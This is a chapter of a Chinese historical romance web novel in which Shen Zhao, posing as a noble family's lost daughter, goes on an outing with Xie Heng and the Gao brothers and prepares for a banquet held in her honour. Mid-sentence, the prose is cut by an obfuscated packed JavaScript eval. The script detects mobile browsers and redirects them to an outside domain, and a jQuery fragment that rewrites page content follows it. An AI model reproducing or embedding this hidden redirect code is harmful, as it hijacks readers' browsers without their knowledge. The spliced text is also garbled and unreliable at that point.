18. 第 18 章

作品:《骗心为上

    他的衣角垂在半空。


    沈昭抬眸看他,之前连近他身一步都得退避三舍的谢珩,如今主动任由她牵着?


    她大大方方地扯住他的衣角。


    她们又不是见不得人的关系,何必畏缩。


    在夜市转了一圈,谢珩没得到想寻的答案,未久三人便离开了。


    沈昭躺在床榻上,回想起今日种种,她抽中玉瓶子,中了特等奖,谢珩的法子真的有用么?


    那她许下的愿望该会成真!


    她安心合眼而睡,静候实现的那日。


    次日,高峻用过早膳后,拉着他弟弟高义信一同上晋国公府拜会。


    他们两兄弟性子迥异,高峻活泼风流,高义信则知礼持节,但拜他哥哥所赐,身边接触之人不乏女子,倒又不似谢珩一般,事事谨慎小心。


    高峻的拜帖还未至府中,他的声音却先一步响彻前院“秉正堂”。


    高义信扯住他的衣袍:“兄长,在国公府切莫张扬,老夫人久病休养,喜静。”


    高峻摆摆手,反拉着弟弟入门:“前院只有谢珩一人,你莫不是当你兄长我是个鹦哥,哪里会惊扰到老夫人。”


    他们二人入府时,谢珩正坐在书房看书,待听到他的声响,挥手一扫,将门扉紧闭。


    他自小同谢珩交好,为人不拘礼节,但偏生的一张巧嘴,同谁都能唠上几句,又出手阔绰,每每登门,大把的银子往家丁手里洒,又知他同自家少爷交情匪浅,每个人都迎仙儿一般地供着。


    家丁将他们引至书房门口:“高公子,我家少爷正在里面看书呢。”


    “好,下去吧。”高峻将碎银子扔给家丁,提步开门。


    高义信在一旁无奈地摇摇头,终是不拦。


    谢珩未抬眼皮,只专注看书,忽而一只大手伸出,想抽出他手中书,一下不成,高峻手腕发力,复而青筋暴起却也未得逞。


    书仍被谢珩紧紧攥在手里。


    一招未成,高峻直接将脸凑到书前,逼得他不得不仰身小退:“你这家伙,本公子不亲自来请,你这大佛是不准备出山?前几日相见,你只问好去处,怎样,带着你家妹妹这几日玩得可开心,什么时候介绍给我们认识认识?”


    ——


    “小姐自然穿什么都好看。”春宁和夏安正在帮沈昭更衣。


    李立雯着绣娘做的新衣这几日陆续送往国公府,眼下正在试的这件便是特意为几日后的宴席准备。


    若是平日出门的常服,沈昭除了发髻之外,自己完全可以应付。


    但这出席正式场合的礼服,若不是因着质地轻软,只怕这一件件压在自己身上,行走都不能自如。


    李立雯笑眼打量着,同一旁的绣娘提些更精细的建议,又换了一个浅色披帛,沈昭不欲插嘴,只随着她们去。


    李立雯前前后后仔细看过,确认没有大的问题后,吩咐:“春宁,带小姐去给老夫人看看,看老夫人还有何主意。”国公府的小姐,当然样样都需最好,她将一枚金凤钗插入她的发髻中。


    明眸皓齿,本就一张盈莹芙蓉面,与这华贵的衣服相衬,宛若天上的仙娥。


    “是。”春宁虚扶着沈昭向老夫人房中走去。


    沈昭只觉自己一个头两个重,这身衣服穿在身上已然加了些份量,但头上的珠钗发簪和夏安特意挽的发髻,倒像头上顶了一颗挂满金银首饰的树,她努力崩着肩背和脖子,生怕一垂头失力,头上的东西便簌簌掉落下去。


    难怪古人仪态端庄,如此重物压在头上,又岂能不打起十二分的精神。


    ——


    “九如,我们亲自登门相邀,你若再千般万般推迟,我可生气了,你我情如手足,又不会唐突了你家妹妹,赏脸一见都不可么?”


    高峻仍不死心,他倒十分好奇他这流落在外的妹妹到底是何模样。


    高义信则在一旁低声劝着,但高峻行事向来随心,又念着同谢珩相熟,既然过几日总会介绍给长安城中各门各府认识,他便偏偏想占一步先机。


    三人一行刚拜会完老夫人,正你一言我一语地向外走,正巧迎上来见祖母的沈昭一行。


    “少爷,高公子。”春宁退至一旁福了福身子。


    沈昭并不识得眼前两人,顾着礼节,只得随着春宁喊:“兄长,两位公子。”


    发髻上的金凤钗上,凤口衔的东珠熠熠生辉,映得额间的花钿愈发红艳,最是那双灵动的双眸,泛着盈盈水光,她缓步上前,教那满地的落花都败了颜色。


    谢珩率先抬眸,对上她的视线,但见身旁两位目不转睛地看向她,他轻咳几声示意。


    饶是高家公子,与长安城豪门闺秀都相熟,亦不免愣了几息,高义信则眼观鼻鼻观心地垂下眼眸,耳后的浅绯了却久久不消,先拱手一礼:“谢姑娘。”


    高峻适才反应过来,大步上前:“早就听闻谢家小姐俏若三春之桃,今日得见,倒更甚六月海棠,不,这一花开尽百花杀,只谢姑娘一朵便盛满园春色了。”他夸得坦荡,眼中满是欣赏,并无任何邪淫,到底是世家将养出的贵公子,气度风流却并不令人生厌,亦难怪他回国公府便回自家宅院一般,上下无一人挑他错处。


    得人夸赞,沈昭心中自然欢喜:“谢公子夸奖。”她念着李立雯和绣娘还在等她,并未多留,“不扫几位雅兴,我先去拜见祖母,母亲还在房中等我。”


    三人随即让开路,待她走过时,高峻不忘在后轻喊:“谢小姐,若你无事,一会不妨同我们去郊外转转?”


    沈昭惦记着等日后谢珩寻到亲妹妹,她就择一山清水秀处,买个庭院,若是回不去了,至少有个落脚处,欣然答应:“好啊,不过还得请各位稍候,等我换下身上这件衣服。”


    “乐意之至!”高峻冲着她的背影挥手,高义信在旁拉住他,“低声些,兄长。”


    高峻一眼便看穿了他的心思,并不明言,只长臂一伸去揽谢珩的肩,却被他快步躲开。


    他垂手不快,又疾步跟上:“这可是你妹妹亲口答应的,你总不能替她拒了我。”


    ——


    未久,四人一行出门。


    高家兄弟前来是坐着自家马车,谢家兄妹二人另坐一辆。


    然沈昭踩着车凳上车后,谢珩刚掀帘入内,高峻便紧随其后,探出头:“不知谢姑娘可否介意我们同乘一辆?我母亲临时出府,我便遣了车夫去送她了。”


    沈昭自然不介意,何况谢珩与她独处时,他总有些不自在,如此人多,他应是更自如,便应下:“当然可以。”


    谢珩却挑了挑眉,不知高峻又有何鬼主意,但并不阻止。


    高峻上车后,高义信拗不过他,被他拉上车,连声致歉,透明的耳坠红得几欲滴血:“叨扰二位。”


    马车虽然宽敞,但经不住三个男子挤在其中,一时略显逼仄,高峻并不介意,一路上高谈阔论,沈昭见他性子率直,没有架子,也喜欢同他交谈。


    高义信起初还有些腼腆,但熟悉过后,才觉眼前女子不仅容貌皎皎,言语更有趣,倒同他兄长有几分相似,谈起任何事,都能说上几句,加之四人年岁相差无几,高峻和谢珩同岁,高义信和沈昭同岁,就长安城聊得很是投机。


    马车一路慢行至郊外,因着有了几分暑气,外出游玩的人并不多,高峻先一步跳下车,拉扯着谢珩便往一旁走:“走,九如,我最近课业上遇到难题,此事只有你能替我解惑。”


    谢珩生疑,若要高峻念书,比饿他几日还可怕,一时并未离开。


    “那你要我当着你家妹妹面说,那若出言无礼,可怪不得我了。”高峻轻俯在他耳旁低声说道。


    他权衡再三,迈着步子同高峻走至一旁,高峻则回首对他弟弟使了个眼色,好好把握机会。


    高义信喉结滚动,静候沈昭下车后,退开半步,指着远处一座亭子:“谢姑娘,家兄他们有事相商,我们不如先去凉亭中暂等。”


    “好啊。”沈昭提裙而去。


    待两人入座后,沈昭望着远处两个颀长的身影站于树下,面向亭中,谢珩的视线从未移开。


    沈昭早想私下打听长安城的房价,谢珩不在正合她意,她问道:“高公子,不知你对长安城房价可有研究,若我有朋友想择城郊一处私宅,倒也不必太大,有三室足矣,但最好车马往来方便,大概会花多少银子呢?”


    高义信思虑片刻:“谢姑娘所提,在下确实浅薄,了解不多,但据家兄一朋友所言,他在永崇坊交易,一亩地价约两万文钱,至于城郊,某估计该是会更便宜些。”


    永崇坊算长安城最繁华的地界,她简单估算,那谢珩赠她的定钱买下一栋宅院绰绰有余,思及此,她嘴角不禁勾起一抹浅笑。


    高义信不明所以,但涉及她的家私不便随意探听。


    沈昭解释道:“我只是随口问问罢了,我刚入府,府里上下待我极好,但总不能没个分寸,我没在长安城居住过,想了解下罢了。”


    高义信了然,仍保持着得体:“谢姑娘多虑了,谢家既然将你认回,定会将你视若珪壁,爱若明珠。哪怕晋国公不在世,以谢将军的为人品行,不会亏待于你,”他拿捏着分寸,最终仍然道出,“若是你有何难处,可来高府寻我。”


    沈昭举起杯盏,以水代酒:“那便先谢过高公子了。”


    高义信浅笑,任由她的杯盏轻碰上自己的,手却不自觉抖了,温热的水洒到他修长的指节,却烫得他耳后红了一片。


    沈昭误以为自己失力,放下杯盏,从怀中取出帕子递给他:“不好意思。”


    棉质的帕子覆在他手上,虽不似锦缎丝滑,但却暖上心间,“谢过姑娘了。”他轻轻用帕子擦拭。


    ——


    “九如,你有没有在听,九如你去哪?”高俊望着谢珩匆匆飞向远处凉亭的身影,“等等我。”


    高义信还在擦手,下一瞬谢珩便出现在他们身旁,谢珩同他兄长年岁相当,他以对待兄长之礼,起身相迎,手中却紧紧捏着那一方帕子,“谢将军。”


    谢珩眸光却紧随着他手中那方帕子,棉质料子同他那块一样,其中的绣样被他掌心握住,看不真切。


    谢珩罕见地失了礼节,并未应他,只眸色深沉地垂下眼,不怒而威的气场令人不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571572|171504||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    觉生寒。


    沈昭见惯了他的阴晴不定,倒并不在意。


    高义信站于原地,坐立不宁,见谢珩目光一直落在他手中帕子上,自知不妥:“多谢姑娘美意,但某已经污了这方帕子,恐污了姑娘清雅,改日奉还姑娘一方新的,方不负姑娘今日之谊。”


    沈昭哪知他们之间曲折,只觉这些世家子弟一个个不带个帕子出门,幸亏她买红橘时,多要了几个,她大方道:“不必,你若不喜就扔了,帕子我多得很,不用还我了。”


    高俊喘着粗气跑来,及至亭前时,捋捋衣袍,气定神闲踱步而来,正巧听到沈昭言语,冲着高义信眨眨眼,打圆场道:“既然人家姑娘有心赠你,还不快安心收下。”


    “来来,坐。”高俊拉着谢珩坐下,消解了当下的尴尬。


    四人暂歇,但却只有高俊和沈昭滔滔不绝谈着,高俊觉察到谢珩冷淡,便让随从回府谴车而来。


    四人分开后,高家兄弟上了马车,高俊拍拍他的肩:“九如他刚寻回妹妹,肯定不舍,但是人家姑娘既然对你有心,你若有意,可得自己把握,我们两家交好,可别寒了姑娘的心。”


    高义信认真应下,自打他初见沈昭,所有的思绪便自觉被她牵动,只是不料她竟如此直白,将手帕相送,令他一时慌了手脚。


    并驾而行的另一辆马车中,沈昭掀起车帘,赏着沿途风光,直到谢珩开口:“你觉得高家兄弟如何?”


    沈昭:“很好啊,高俊风流倜傥,高义信知书达理。”她不知刚刚何事惹到他,观察着他的神情,并未多说。


    谢珩沉默半晌,从嘴里艰难咬出几个字:“莫忘了你入府的初衷,是为宽慰祖母忧思。”


    沈昭默然应下,余光扫过他冷若冰霜的脸庞,一副杀神模样,原是为着她这几日摸鱼生气了?


    可外出游玩本就经过李立雯允准,她每日晨昏定省,若祖母身子爽利,也会陪着多说会话,她平日虽然惯爱耍懒,可在老板眼皮子底下,她多少还存些敬畏。


    但一想起那木匣里的小银山,为钱低头她不冤:“是,我定会日日记在心上,尽心照顾她老人家。”


    谢珩被她的话噎住,一时无语。


    ——


    惊云同夏目的婚事并没有在他口中的故乡办,而是在赶回长安城的路上,择了一处客栈草草办了。


    没有亲眷,就连知己好友也没有,惊云以他自幼离家,村中看他长大的老人死的死,身子不适的不便出门为由掩饰。


    夏目心中略有不安,但毕竟是喜事,她扬起唇角,仍然满心欢喜地出嫁了。


    惊云准备的聘礼颇丰,很多他不便随行带着,便写了一份长长的礼单,待她们回到长安城后,再交由夏目手中。


    这其中不乏他从御风家里偷来的物件,他料定谢珩会追查,自然不会傻到拿去变卖,只要夏目能顺利认祖归宗,谢珩自然是他的大舅哥,他杀了御风又何妨,届时碍于他的身份,谢珩也不会对他动手。


    夏目依偎在他怀中:“阿云,我有一事想同你说。”


    惊云脑中算计被她柔声打断,面前的女子红嫁衣加身,目含秋水,眼中情意绵绵,嘴上的口脂比最烈的葡萄酒还要醉人,他轻啄薄唇,细细吻过每一寸柔软:“明早我们启程回长安,去一个重要的地方,一切等明日过后我们再细说。”


    ——


    谢珩和沈昭回府后,春宁早早在门边候着:“小姐,少爷,夫人请你们过去。”


    明日便是为迎沈昭回府而举办的宴席,国公府上家丁忙前忙后,里里外外张灯结彩,比过节还热闹几分,送菜的马车一日过府四次,王管家忙得脚步不歇,脸上的笑从未掉下。


    李立雯已命王管家向世家贵族下了礼贴,怕有缺漏,她特意寻谢珩过去,再次核对宾客名单。


    谢珩平日与朝中权贵交往不多,不涉党争、不站派别,景明帝正是看重这点,才对他委以重任,他略略扫过名单,高家亦然在列,他的目光停留在上,霎时没了再看的心思。只双手奉还给李立雯:“母亲安排妥当,并无缺漏。”


    李立雯只作询问,接过礼单后,将沈昭拉至身旁,顺着礼单同她细细介绍明日宾客,家中子女以及在朝官职等。


    沈昭一时只仓促过耳,尚不能完全记在心里,但李立雯话里话外着重点了几户人家小姐,倒教她品出其中暗隐。


    李立雯并不避讳,男大当婚女大当嫁,这几年她始终放心不下瑾儿,谢珩孝顺,全力去寻,亦耽误了他的大事。


    但论品性样貌,谢珩在长安城皆数翘楚,只是前些年有意结亲的人家,被他冷冷的话语逼退,自然生疏了。


    李立雯开口:“瑾儿,这几户人家的姑娘脾气秉性好,若你明日见到她们,多接触接触,顺便帮你兄长相看一下,你兄长不善交际,思绪内敛,还得你多帮着点。”


    沈昭可最爱凑热闹,她拍拍胸脯,胸有成竹道:“母亲放心,未来嫂嫂一事,包在我身上。”


    “啪”得一声脆响,谢珩闻言指节收紧,手中的瓷杯应声而裂,碎片飞溅,但面上仍澹然若水,只有掌心一线朱痕随水洇开。